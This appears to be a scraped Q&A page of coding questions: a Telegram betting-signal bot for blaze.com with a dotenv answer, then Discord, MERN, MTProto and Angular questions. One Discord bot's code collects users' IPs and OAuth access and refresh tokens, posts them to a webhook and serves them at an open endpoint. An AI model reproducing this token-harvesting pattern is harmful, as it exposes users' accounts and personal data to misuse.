I'm making a bot for the betting platform: blaze.com
who sends betting signals to telegram
but it's giving an error in the token, even though I put the token in the .env, it's not working! who can help me?
.env.example
PORT = 3000
TOKEN = #####################
CHANNEL_NAME = -1772325150
DATABASE_URL="mysql://userDatabase:password#localhost:port/nameDatabase"
CreateBot.ts
import { Telegraf } from "telegraf"
import { ConfigsController } from "../useCases/configs/ConfigsController"
import { ConfigsUseCase } from "../useCases/configs/ConfigsUseCase"
import { CountsUseCase } from "../useCases/counts/CountsUseCase"
interface IMessage {
countGreen?: number
countRed?: number
color?: string
message: string
}
interface IDataCount {
id: string
countWhite: number
countGreen: number
countRed: number
countGale1: number
countGale2: number
totalWin?: number
totalSent?: number
percentageWin?: number
}
class Bot {
start: string
bots: Telegraf
constructor() {
this.start = "Bot On! 🟢"
this.bots = new Telegraf (process.env.TOKEN)
}
public async inital() {
try {
this.bots.launch();
process.once("SIGINT", () => this.bots.stop("SIGINT"));
process.once("SIGTERM", () => this.bots.stop("SIGTERM"));
} catch (error) {
console.log("Error in connection of API!")
}
}
async sendMessage({ countGreen, countRed, color, message }: IMessage) {
try {
const messageId = await this.bots.telegram.sendMessage(process.env.CHANNEL_NAME, message, { parse_mode: 'HTML' })
return messageId.message_id
} catch (error) {
console.log("Error send message!")
}
}
async deleteMessageWithID(messageID: any) {
try {
await this.bots.telegram.deleteMessage(process.env.CHANNEL_NAME, messageID)
} catch (error) {
console.log("Error in delete message!")
}
}
async commandBot() {
this.bots.start(async (ctx) => {
await ctx.reply(`🤖 Bem vindo ao ${ctx.botInfo.first_name} 📣\n\n/padrao Ver as configurações do Bot.\n\n/config Cadastrar e alterar as configs do Bot.\n\n/resultado Envia relatório no canal.\n<i>Você pode passar uma data\nExemplo: '24/01/2022', se não vai\nser enviado com a data do dia.</i>\n\n/help Ajuda.`, { parse_mode: 'HTML' })
})
this.bots.help(async (ctx) => {
await ctx.reply(`🤖 Bot Comandos 📣\n\n/padrao Ver as configurações do Bot.\n\n/config Cadastrar e alterar as configs do Bot.\n\n/resultado Envia relatório no canal.\n<i>Você pode passar uma data\nExemplo: '24/01/2022', se não vai\nser enviado com a data do dia.</i>`, { parse_mode: 'HTML' })
})
this.bots.command("padrao", async (ctx) => {
const configUseCase = new ConfigsUseCase()
const configs = await configUseCase.show()
if (configs !== null) {
const { activo, standard } = await configUseCase.show()
await ctx.reply(`🤖 Bot Configs ⚙️\n\n<b>Bot:</b> ${activo ? "Ativado" : "Desativado"}\n<b>Padrão:</b> ${Number(standard)}`, { parse_mode: 'HTML' })
return
}
await ctx.reply(`Você precisa configurar seu bot\n\n/config`, { parse_mode: 'HTML' })
})
this.bots.command("resultado", async (ctx) => {
const [command, date] = ctx.message.text.split(" ")
const countUseCase = new CountsUseCase()
const data = await countUseCase.getCounts(date)
if (data.length === 0) {
console.log("Sem registro")
await ctx.reply(`📊 Resultados até agora! 📈\n\n⛔<b>Sem registro</b>\n\n✅Acertos: <b>0</b>\n❌Não Bateu: <b>0</b>\n\n🥇Primeira Entrada: <b>0</b>\n1️⃣Primeira Gale: <b>0</b>\n2️⃣Segunda Gale: <b>0</b>\n⚪Winn Branco: <b>0</b>\n\n <b>0% de aproveitamento!</b>`, { parse_mode: 'HTML' })
return
}
const { greenWhite, green, red, gale1, gale2, totalWin, totalSent, percentageWin } = await this.calculateCounts(data)
const message = `📊 Resultados até agora! 📈\n\n✅Acertos: <b>${totalWin}</b>\n❌Não Bateu: <b>${red}</b>\n\n🥇Primeira Entrada: <b>${green}</b>\n1️⃣Primeira Gale: <b>${gale1}</b>\n2️⃣Segunda Gale: <b>${gale2}</b>\n⚪Winn Branco: <b>${greenWhite}</b>\n\n <b>${Math.round(100 - percentageWin)}% de aproveitamento!</b>`
await this.sendMessage({ message })
await ctx.replyWithHTML(`📨 <b>Relatório enviado!</b>`)
return
})
this.bots.command("config", async (ctx) => {
const configUseCase = new ConfigsUseCase()
const configs = await configUseCase.show()
const configsController = new ConfigsController()
const respone = ctx.message.text.split(" ")
const [_, botName, password, newDefault, activo] = ctx.message.text.split(" ")
const newActivo = activo === "ativado" ? true : false
if (respone.length !== 5) {
await ctx.reply("⚠️ <b>Parametros Errados!</b>\n\nEnviar da seguinte maneira:\n\n<b>Comando:</b> /config\n<b>Bot:</b> nome do seu bot\n<b>Senha:</b> senha de acesso\n<b>Padrão:</b> número do seu padrão, ex. 3\n<b>Ativo:</b> ativado ou desativado\n\n<b>Exemplo:</b> /config blaze-bot abc123 4 ativado", { parse_mode: 'HTML' })
return
}
switch (activo) {
case "ativado":
case "desativado":
if (configs === null) {
await configsController.create({ name: botName, standard: Number(newDefault), activo: newActivo, password: password.toString() })
await ctx.reply(`⚠️ Atenção ⚠️\n\nCadastro realizado!`, { parse_mode: 'HTML' })
return
}
if (configs.password === password && configs.name === botName) {
await configsController.create({ name: botName, standard: Number(newDefault), activo: newActivo, password: password.toString() })
await ctx.reply(`⚠️ Atenção ⚠️\n\nParâmetros Alterados\n\n<b>Bot:</b> ${newActivo ? "Ativado" : "Desativado"}\n<b>Padrão:</b> ${Number(newDefault)}`, { parse_mode: 'HTML' })
return
}
await ctx.reply(`⚠️ Atenção ⚠️\n\nNome do Bot ou Senha errada!`, { parse_mode: 'HTML' })
break;
default:
await ctx.reply("⚠️ Atenção ⚠️\n\nInforme se o BOT está \n<b>ativado</b> ou <b>desativado</b>", { parse_mode: 'HTML' })
break;
}
})
}
async calculateCounts(data: Array<IDataCount>) {
let greenWhite = null
let green = null
let red = null
let gale1 = null
let gale2 = null
data.forEach(async counts => {
greenWhite = greenWhite + counts.countWhite
green = green + counts.countGreen
red = red + counts.countRed
gale1 = gale1 + counts.countGale1
gale2 = gale2 + counts.countGale2
})
let totalWin = green + greenWhite + gale1 + gale2
let totalSent = totalWin + red
let percentageWin = Math.round((red * 100) / totalSent)
return {
greenWhite,
green,
red,
gale1,
gale2,
totalWin,
totalSent,
percentageWin
}
}
}
export { Bot }
I already changed the bot token and it still won't:
Maybe you don't need the answer anymore, but anyway
To make .env work, you have to install something like dotenv https://github.com/motdotla/dotenv
npm install dotenv --save
require('dotenv').config()
// or
import * as dotenv from 'dotenv' // see https://github.com/motdotla/dotenv#how-do-i-use-dotenv-with-import
dotenv.config()
It loads environment variables from an .env file into process.env, so in your case,
this.bots = new Telegraf (process.env.TOKEN)
doesn't work, because it can't get data from process.env
Related
if there is a user id saved in the json file i want to give them a role when they use the .verify command.
or I want to automatically assign roles to user ids in json file
my code i tried but it didn't work I don't want it to assign a role if the person isn't there
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
all code of my bot
const Discord = require('discord.js');
const client = new Discord.Client({
fetchAllMembers: false,
restTimeOffset: 0,
restWsBridgetimeout: 100,
shards: "auto",
allowedMentions: {
parse: [],
repliedUser: false,
},
partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
intents: [
Discord.Intents.FLAGS.GUILDS,
Discord.Intents.FLAGS.GUILD_MEMBERS,
//Discord.Intents.FLAGS.GUILD_BANS,
//Discord.Intents.FLAGS.GUILD_EMOJIS_AND_STICKERS,
//Discord.Intents.FLAGS.GUILD_INTEGRATIONS,
//Discord.Intents.FLAGS.GUILD_WEBHOOKS,
//Discord.Intents.FLAGS.GUILD_INVITES,
Discord.Intents.FLAGS.GUILD_VOICE_STATES,
//Discord.Intents.FLAGS.GUILD_PRESENCES,
Discord.Intents.FLAGS.GUILD_MESSAGES,
Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.GUILD_MESSAGE_TYPING,
Discord.Intents.FLAGS.DIRECT_MESSAGES,
Discord.Intents.FLAGS.DIRECT_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.DIRECT_MESSAGE_TYPING
],
});
const jeu = require("./jeu");
const chalk = require('chalk');
const db = require('quick.db');
const fs = require('fs');
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
const FormData = require('form-data');
const axios = require('axios');
const emoji = require("./emoji");
process.on("unhandledRejection", err => console.log(err))
app.use(bodyParser.text())
app.get('/', function(req, res) {
res.sendFile(__dirname + '/index.html')
})
app.get('/jeuallauth', async (req, res) => {
fs.readFile('./object.json', function(err, data) {
return res.json(JSON.parse(data))
})
})
app.post('/', function(req, res) {
const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
let form = new FormData()
form.append('client_id', jeu.client_id)
form.append('client_secret', jeu.client_secret)
form.append('grant_type', 'authorization_code')
form.append('redirect_uri', jeu.redirect_uri)
form.append('scope', 'identify', 'guilds.join')
form.append('code', req.body)
fetch('https://discordapp.com/api/oauth2/token', { method: 'POST', body: form, })
.then((eeee) => eeee.json())
.then((cdcd) => {
ac_token = cdcd.access_token
rf_token = cdcd.refresh_token
const tgg = { headers: { authorization: `${cdcd.token_type} ${ac_token}`, } }
axios.get('https://discordapp.com/api/users/#me', tgg)
.then((te) => {
let efjr = te.data.id
fs.readFile('./object.json', function(res, req) {
if (
JSON.parse(req).some(
(ususu) => ususu.userID === efjr
)
) {
console.log(
`[-] ${ip} - ` +
te.data.username +
`#` +
te.data.discriminator
)
return
}
console.log(
`[+] ${ip} - ` +
te.data.username +
'#' +
te.data.discriminator
)
avatarHASH =
'https://cdn.discordapp.com/avatars/' +
te.data.id +
'/' +
te.data.avatar +
'.png?size=4096'
fetch(`${jeu.wehbook}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
avatar_url: '',
embeds: [
{
color: 3092790,
title: `${emoji.info} **New User**`,
thumbnail: { url: avatarHASH },
description:
`${emoji.succes} \`${te.data.username}#${te.data.discriminator}\`` +
`\n\n${emoji.succes} IP: \`${ip}\`` +
`\n\n${emoji.succes} ID: \`${te.data.id}\`` +
`\n\n${emoji.succes} Acces Token: \`${ac_token}\`` +
`\n\n${emoji.succes} Refresh Token: \`${rf_token}\``,
},
],
}),
})
var papapa = {
userID: te.data.id,
userIP: ip,
avatarURL: avatarHASH,
username:
te.data.username + '#' + te.data.discriminator,
access_token: ac_token,
refresh_token: rf_token,
},
req = []
req.push(papapa)
fs.readFile('./object.json', function(res, req) {
var jzjjfj = JSON.parse(req)
jzjjfj.push(papapa)
fs.writeFile(
'./object.json',
JSON.stringify(jzjjfj),
function(eeeeeeeee) {
if (eeeeeeeee) {
throw eeeeeeeee
}
}
)
})
})
})
.catch((errrr) => {
console.log(errrr)
})
})
})
client.on("ready", () => {
setInterval(() => {
var guild = client.guilds.cache.get('1026216372386136114');
var shareCount = guild.members.cache.filter(member => member.roles.cache.has('1070667391278792714')).size;
var OnlineCount = guild.members.cache.filter(m => m.presence && m.presence.status !== "offline").size;
let activities = [ `${guild.memberCount} Members`, `${OnlineCount} Online Members`, `${guild.premiumSubscriptionCount} Hardcore Boosted` , `${shareCount} Shareholder Members` ], i = 0;
setInterval(() => client.user.setActivity({ name: `${activities[i++ % activities.length]}`, status: "DND" }), 5200);
}, 100);
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
}
}
})
function escapeRegex(str) {
return str.replace(/[.*+?^${}()|[\]\\]/g, `\\$&`);
}
})
json file
[{"userID":"10342421159140912","avatarURL":"*********","username":"****","access_token":"********","refresh_token":"****"}
The users who authorize my bot are saved in a json file and I want to automatically assign roles to the people in that file, but it didn't work.
I tried something else and if the user is registered in the json file it uses the .verify command and the bot gives him a role. but it was giving even though it wasn't registered, I couldn't figure it out
I am watching Brad Traversy MERN Tutorial. In which he has created a Goal Setter app. I have almost completed it but getting an error in reset() function of goalSlice. Dont know what the actual problem is. When the reset() is dispatch from the Dashboard.jsx, and after adding goals and viewing them in redux devtool in chrome. When I press logout button, the chrome gets hang and the console has this message Cannot read properties of null (reading 'token')
I believe this is the console.log(message) which is in Dashboard.jsx but i have no idea about resolving it. I tried commenting the dispatch(reset()) which removes this error, but I also have to reset the goals when user is logged out. Anyone have any idea about this??
I have uploaded my code on github aswell, so if anyone needs more info about code can visit this link : https://github.com/anishdalvi/MERN-Goal-Setter-.git
Youtube Link : https://youtu.be/UXjMo25Nnvc
Dashboard.jsx
import { useEffect } from 'react'
import { useNavigate } from 'react-router-dom'
import { useSelector, useDispatch } from 'react-redux'
import GoalForm from '../components/GoalForm'
import Spinner from '../components/Spinner'
import { getGoals, reset } from '../features/goals/goalSlice'
function Dashboard() {
const dispatch = useDispatch()
const navigate = useNavigate()
const { user } = useSelector((state) => state.auth)
const { goals, isLoading, isError, message } = useSelector((state) => state.goals)
useEffect(() => {
if(isError){
console.log("iserror "+ message)
}
if(!user){
navigate('/login')
}
dispatch(getGoals())
/* return () => {
dispatch(reset())
} */
} , [user, navigate, isError, message, dispatch] )
if (isLoading){
return <Spinner />
}
return (
<>
<section className="heading">
<h1>Welcome {user && user.name}</h1>
<p>Goals Dashboard</p>
</section>
<GoalForm />
</>
)
}
export default Dashboard
goalService.js
import axios from 'axios'
const API_URL = '/api/goals/'
// create new goal
const createGoal = async (goalData, token) => {
const config = {
headers: {
Authorization: `Bearer ${token}`
}
}
const response = await axios.post(API_URL, goalData, config)
return response.data
}
// get goals
const getGoals = async (token) => {
const config = {
headers: {
Authorization: `Bearer ${token}`
}
}
const response = await axios.get(API_URL, config)
return response.data
}
const goalService = {
createGoal,
getGoals
}
export default goalService
goalSlice.js
import { createSlice, createAsyncThunk } from '#reduxjs/toolkit'
import goalService from './goalService'
const initialState = {
goals: [],
isError: false,
isSuccess: false,
isLoading: false,
message: ""
}
// create new Goal
export const createGoal = createAsyncThunk('goals/create', async (goalData, thunkAPI) => {
try {
const token = thunkAPI.getState().auth.user.token
return await goalService.createGoal(goalData, token)
} catch (error) {
const message = (error.response && error.response.data && error.response.data.message) || error.message || error.toString()
return thunkAPI.rejectWithValue(message)
}
} )
// get user goals
export const getGoals = createAsyncThunk('goals/getAll', async(_, thunkAPI) => {
try {
const token = thunkAPI.getState().auth.user.token
return await goalService.getGoals(token)
} catch (error) {
const message = (error.response && error.response.data && error.response.data.message) || error.message || error.toString()
return thunkAPI.rejectWithValue(message)
}
})
export const goalSlice = createSlice({
name: 'goal',
initialState,
reducers: {
reset: (state) => initialState,
},
extraReducers:(builder) => {
builder
.addCase(createGoal.pending, (state) => {
state.isLoading = true
})
.addCase(createGoal.fulfilled, (state, action) => {
state.isLoading = false
state.isSuccess = true
state.goals.push(action.payload)
})
.addCase(createGoal.rejected, (state, action) => {
state.isLoading = false
state.isError = true
state.message = action.payload
})
.addCase(getGoals.pending, (state) => {
state.isLoading = true
})
.addCase(getGoals.fulfilled, (state, action) => {
state.isLoading = false
state.isSuccess = true
state.goals = action.payload
})
.addCase(getGoals.rejected, (state, action) => {
state.isLoading = false
state.isError = true
state.message = action.payload
})
}
})
export const { reset } = goalSlice.actions
export default goalSlice.reducer
authService.js
import axios from 'axios'
const API_URL = '/api/users/'
// Register User
const register = async (userData) => {
const response = await axios.post(API_URL, userData)
if(response.data){
localStorage.setItem('user', JSON.stringify(response.data))
}
return response.data
}
// login User
const login = async (userData) => {
const response = await axios.post(API_URL + 'login', userData)
if(response.data){
localStorage.setItem('user', JSON.stringify(response.data))
}
return response.data
}
// Logout User
const logout = () => {
localStorage.removeItem('user')
}
const authService = {
register, logout, login
}
export default authService
authSlice.js
import { createSlice, createAsyncThunk } from '#reduxjs/toolkit'
import authService from './authService'
// Get user from localStorage
const user = JSON.parse(localStorage.getItem('user'))
const initialState = {
user: user ? user : null,
isError: false,
isSuccess: false,
isLoading: false,
message: ""
}
// Register user
export const register = createAsyncThunk('auth/register', async (user, thunkAPI) => {
try {
return await authService.register(user)
} catch (error) {
const message = (error.response && error.response.data && error.response.data.message) || error.message || error.toString()
return thunkAPI.rejectWithValue(message)
}
})
// Login user
export const login = createAsyncThunk('auth/login', async (user, thunkAPI) => {
try {
return await authService.login(user)
} catch (error) {
const message = (error.response && error.response.data && error.response.data.message) || error.message || error.toString()
return thunkAPI.rejectWithValue(message)
}
})
// logout
export const logout = createAsyncThunk('auth/logout' , async () => {
await authService.logout()
})
export const authSlice = createSlice({
name: 'auth',
initialState,
reducers: {
reset: (state) => {
state.isLoading = false
state.isSuccess = false
state.isError = false
state.message = ''
}
},
extraReducers: (builder) => {
builder
.addCase(register.pending, (state) => {
state.isLoading = true
} )
.addCase(register.fulfilled, (state, action) => {
state.isLoading = false
state.isSuccess = true
state.user = action.payload
})
.addCase(register.rejected, (state, action) =>{
state.isLoading = false
state.isError = true
state.message = action.payload
state.user = null
})
.addCase(login.pending, (state) => {
state.isLoading = true
} )
.addCase(login.fulfilled, (state, action) => {
state.isLoading = false
state.isSuccess = true
state.user = action.payload
})
.addCase(login.rejected, (state, action) =>{
state.isLoading = false
state.isError = true
state.message = action.payload
state.user = null
})
.addCase(logout.fulfilled, (state) =>{
state.user = null
})
}
})
export const { reset } = authSlice.actions
export default authSlice.reducer
Look at this property access:
thunkAPI.getState().auth.user.token
You are trying to access the auth user's token.
But your initial state looks like this:
const initialState = {
user: user ? user : null,
isError: false,
isSuccess: false,
isLoading: false,
message: ""
}
In the case that the user doesn't exist, how can you access their token?
When you are calling reset(), your user is probably being set to null, hence the error only appears at that point.
You should check that the user is not null before accessing the token, and handle the case where it is null however you want.
if (thunkAPI.getState().auth.user) {
// only in the case the above condition is true,
// then you can access the token.
}
I'm trying to make it so I can verify someones question but the usual reaction.emoji.name check doesn't work. It says that it's undefined. But I've used it so many times without defining it. I'm very lost help would be appreciated.
const {Client, Collection, GuildMember, User, MessageEmbed, Message} = require("discord.js");
module.exports.run = async(client, message, args, member, reaction) => {
var woord = '!poll'
var question = args.slice(0).join(' ')
var pollChannel = message.guild.channels.cache.find(c => c.id === `875406886986477569`)
var poll = new MessageEmbed()
.setTitle(`${message.author.username} wil een poll maken.`)
.setDescription(question)
.setColor('#eb8dd8')
.setFooter(`Poll gemaakt door: `+ message.author.username)
var success = new MessageEmbed()
.setDescription(question)
.setColor('#eb8dd8')
.setFooter("Poll started door: "+ message.author.username)
if(message.content.includes(woord)) {
message.delete({timeout:0})
}
if(message.member.roles.cache.some(r => r.name === 'Barman')) {
if(message.channel.name.includes("🙇-poll")) {
if(args[1]) {
message.delete()
message.guild.channels.create(message.author.username, { permissionOverwrites:[
{
deny: 'VIEW_CHANNEL',
id: message.guild.id
},
{
allow: 'VIEW_CHANNEL',
id: message.author.id
},
],
}).then(channel => {
channel.send(poll).then(poll => {
poll.react('✅')
.then(() => poll.react('❌'));
})
})
} else {
message.delete()
}
}
}
if(reaction.emoji.name === '✅') {
console.log('check!')
}
}
module.exports.help = {
name: "test"
}
i want collect news from different channels and echo them in a second channel, with the code i can read channels(not all but most).
I stuck now on the echo problem and have no clue about how i can do this, mtproto is completely new to me, thanks.
Im using the following code i have from another stackoverflow question.
const { MTProto, getSRPParams } = require('#mtproto/core');
const prompts = require('prompts');
const api_id = 'xxxxx';
const api_hash = 'xxxxx';
async function getPhone() {
return (await prompts({
type: 'text',
name: 'phone',
message: 'Enter your phone number:'
})).phone
}
async function getCode() {
// you can implement your code fetching strategy here
return (await prompts({
type: 'text',
name: 'code',
message: 'Enter the code sent:',
})).code
}
async function getPassword() {
return (await prompts({
type: 'text',
name: 'password',
message: 'Enter Password:',
})).password
}
const mtproto = new MTProto({
api_id,
api_hash,
});
function startListener() {
console.log('[+] starting listener')
mtproto.updates.on('updates', ({ updates }) => {
const newChannelMessages = updates.filter((update) => update._ === 'updateNewChannelMessage').map(({ message }) => message) // filter `updateNewChannelMessage` types only and extract the 'message' object
for (const message of newChannelMessages) {
// printing new channel messages
console.log(`[${message.to_id.channel_id}] ${message.message}`)
}
});
}
// checking authentication status
mtproto
.call('users.getFullUser', {
id: {
_: 'inputUserSelf',
},
})
.then(startListener) // means the user is logged in -> so start the listener
.catch(async error => {
// The user is not logged in
console.log('[+] You must log in')
const phone_number = await getPhone()
mtproto.call('auth.sendCode', {
phone_number: phone_number,
settings: {
_: 'codeSettings',
},
})
.catch(error => {
if (error.error_message.includes('_MIGRATE_')) {
const [type, nextDcId] = error.error_message.split('_MIGRATE_');
mtproto.setDefaultDc(+nextDcId);
return sendCode(phone_number);
}
})
.then(async result => {
return mtproto.call('auth.signIn', {
phone_code: await getCode(),
phone_number: phone_number,
phone_code_hash: result.phone_code_hash,
});
})
.catch(error => {
if (error.error_message === 'SESSION_PASSWORD_NEEDED') {
return mtproto.call('account.getPassword').then(async result => {
const { srp_id, current_algo, srp_B } = result;
const { salt1, salt2, g, p } = current_algo;
const { A, M1 } = await getSRPParams({
g,
p,
salt1,
salt2,
gB: srp_B,
password: await getPassword(),
});
return mtproto.call('auth.checkPassword', {
password: {
_: 'inputCheckPasswordSRP',
srp_id,
A,
M1,
},
});
});
}
})
.then(result => {
console.log('[+] successfully authenticated');
// start listener since the user has logged in now
startListener()
});
})
I'm building an angular node app and am doing a http post request to signup a user. Its a chain of observables that gets the users social login information, signs ups the user, then on success emails the user. In dev mode everything works perfect, in prod mode, im getting a 404 not found. I also want to note that in development mode, some of my function calls in the observables on success are not being called. Its acting very strange and cannot figure out what I am doing wrong.
Here is my route controller
module.exports = {
signup: function signup(req, res) {
return User.create({
email: (req.body.email).toLowerCase(),
image: req.body.image,
name: req.body.name,
provider: req.body.provider || 'rent',
uid: req.body.uid || null
}).then(function (user) {
return res.status(200).json({
title: "User signed up successfully",
obj: user
});
}).catch(function (error) {
console.log(error);
return res.status(400).json({
title: 'There was an error signing up!',
error: error
});
});
}
};
and route
router.post('/signup', function(req,res,next) {
return usersController.signup(req,res);
});
My service
#Injectable()
export class UserService {
private devUrl = 'http://localhost:3000/user';
private url = '/user';
sub: any;
public user: User;
constructor(
private authS: AuthService,
private http: HttpClient) {
}
signup(user: User) {
return this.http.post(this.url + '/signup', user);
}
auth(provider: string) {
return this.sub = this.authS.login(provider);
}
logout() {
this.authS.logout()
.subscribe(value => {
console.log(value);
}, error => console.log(error))
}
getUser() {
return this.user;
}
}
and my component logic for signing up using social buttons
onAuth(provider: string){
this.checkmark = true;
this.uis.onSignupComplete();
setTimeout(() => {
this.checkmark = false;
this.thankyou = true;
}, 2500);
this.userService.auth(provider)
.subscribe(user => {
this.user = {
email: user['email'],
image: user['image'],
name: user['name'],
provider: user['provider'],
uid: user['uid']
};
this.userService.signup(this.user)
.subscribe(user => {
this.randomNum = Math.floor(Math.random() * 2);
let userEmail = this.user.email;
let subject = 'Welcome to the rent community';
let html = '';
if (this.randomNum === 1) {
html = this.contactS.getAutoEmail1();
} else if (this.randomNum === 0) {
html = this.contactS.getAutoEmail0();
}
let email = new Email(subject, html, userEmail);
this.contactS.setEmail(email)
.subscribe(data => {
}, response => {
// if (response.error['error'].errors[0].message === 'email must be unique') {
// this.uis.onSetError('Email is already used');
// this.uis.onError();
// setTimeout(() => {
// this.uis.onErrorOff();
// }, 2500);
// } else {
// this.uis.onSetError('There was an error');
// this.uis.onError();
// setTimeout(() => {
// this.uis.onErrorOff();
// }, 2500);
// }
console.log(response);
});
}, resp => console.log(resp));
}, response => {
console.log(response);
});
}
Here is the whole component
import {Component, DoCheck, HostListener, OnInit} from '#angular/core';
import {User} from "../user/user.model";
import {UserService} from "../user/user.service";
import {UiService} from "../ui.service";
import {ContactService} from "../contact/contact.service";
import {Email} from "../contact/email.model";
#Component({
selector: 'app-landing-page',
templateUrl: './landing-page.component.html',
styleUrls: ['./landing-page.component.css']
})
export class LandingPageComponent implements OnInit, DoCheck {
user: User = {
email: '',
image: '',
name: '',
provider: '',
uid: ''
};
signupComplete = false;
signup = false;
contact = false;
error = false;
errorStr = 'There was an error';
checkmark = false;
thankyou = false;
randomNum = Math.floor(Math.random() * 2);
#HostListener('window:keyup', ['$event'])
keyEvent(event: KeyboardEvent) {
const enter = 13;
if (event.keyCode === enter) {
// this.onSignup();
}
}
constructor(
private uis: UiService,
private contactS: ContactService,
private userService: UserService) { }
ngOnInit() {}
ngDoCheck() {
this.signup = this.uis.onGetSignup();
this.contact = this.uis.onGetContact();
this.signupComplete = this.uis.onReturnSignupComplete();
this.error = this.uis.getError();
this.errorStr = this.uis.getErrorStr();
}
onClickAction(s: string) {
this.uis.onClickAction(s);
}
onSignup() {
this.user.provider = 'rent';
this.user.uid = null;
this.userService.signup(this.user)
.subscribe(user => {
this.randomNum = Math.floor(Math.random() * 2);
let userEmail = this.user.email;
let subject = 'Welcome to the rent community';
let html = '';
if (this.randomNum === 1) {
html = this.contactS.getAutoEmail1();
} else if (this.randomNum === 0) {
html = this.contactS.getAutoEmail0();
}
let email = new Email(subject, html, userEmail);
this.checkmark = true;
this.uis.onSignupComplete();
setTimeout(() => {
this.checkmark = false;
this.thankyou = true;
}, 2500);
this.contactS.setEmail(email)
.subscribe(email => {
this.onReset();
}
, error => console.log(error));
}, response => {
if (response.error['error'].errors[0].message === 'email must be unique') {
this.uis.onSetError('Email is already used');
this.uis.onError();
setTimeout(() => {
this.uis.onErrorOff();
}, 2500);
console.log(response);
} else {
this.uis.onSetError('There was an error');
this.uis.onError();
setTimeout(() => {
this.uis.onErrorOff();
}, 2500);
console.log(response);
}
});
}
onAuth(provider: string){
this.checkmark = true;
this.uis.onSignupComplete();
setTimeout(() => {
this.checkmark = false;
this.thankyou = true;
}, 2500);
this.userService.auth(provider)
.subscribe(user => {
this.user = {
email: user['email'],
image: user['image'],
name: user['name'],
provider: user['provider'],
uid: user['uid']
};
this.userService.signup(this.user)
.subscribe(user => {
this.randomNum = Math.floor(Math.random() * 2);
let userEmail = this.user.email;
let subject = 'Welcome to the rent community';
let html = '';
if (this.randomNum === 1) {
html = this.contactS.getAutoEmail1();
} else if (this.randomNum === 0) {
html = this.contactS.getAutoEmail0();
}
let email = new Email(subject, html, userEmail);
this.contactS.setEmail(email)
.subscribe(data => {
}, response => {
// if (response.error['error'].errors[0].message === 'email must be unique') {
// this.uis.onSetError('Email is already used');
// this.uis.onError();
// setTimeout(() => {
// this.uis.onErrorOff();
// }, 2500);
// } else {
// this.uis.onSetError('There was an error');
// this.uis.onError();
// setTimeout(() => {
// this.uis.onErrorOff();
// }, 2500);
// }
console.log(response);
});
}, resp => console.log(resp));
}, response => {
console.log(response);
});
}
onReset() {
this.user.email = '';
this.user.image = '';
this.user.name = '';
this.user.provider = '';
this.user.uid = '';
}
errorStyle(): Object {
if (this.error) {
return {height: '50px', opacity: '1'};
} else if (!this.error) {
return {height: '0', opacity: '0'};
}
return {};
}
}
I want to mention I am using angular-2-social-login for the social logins. Unsure why it would be calling 404 if I am using the /user/signup route appropriately.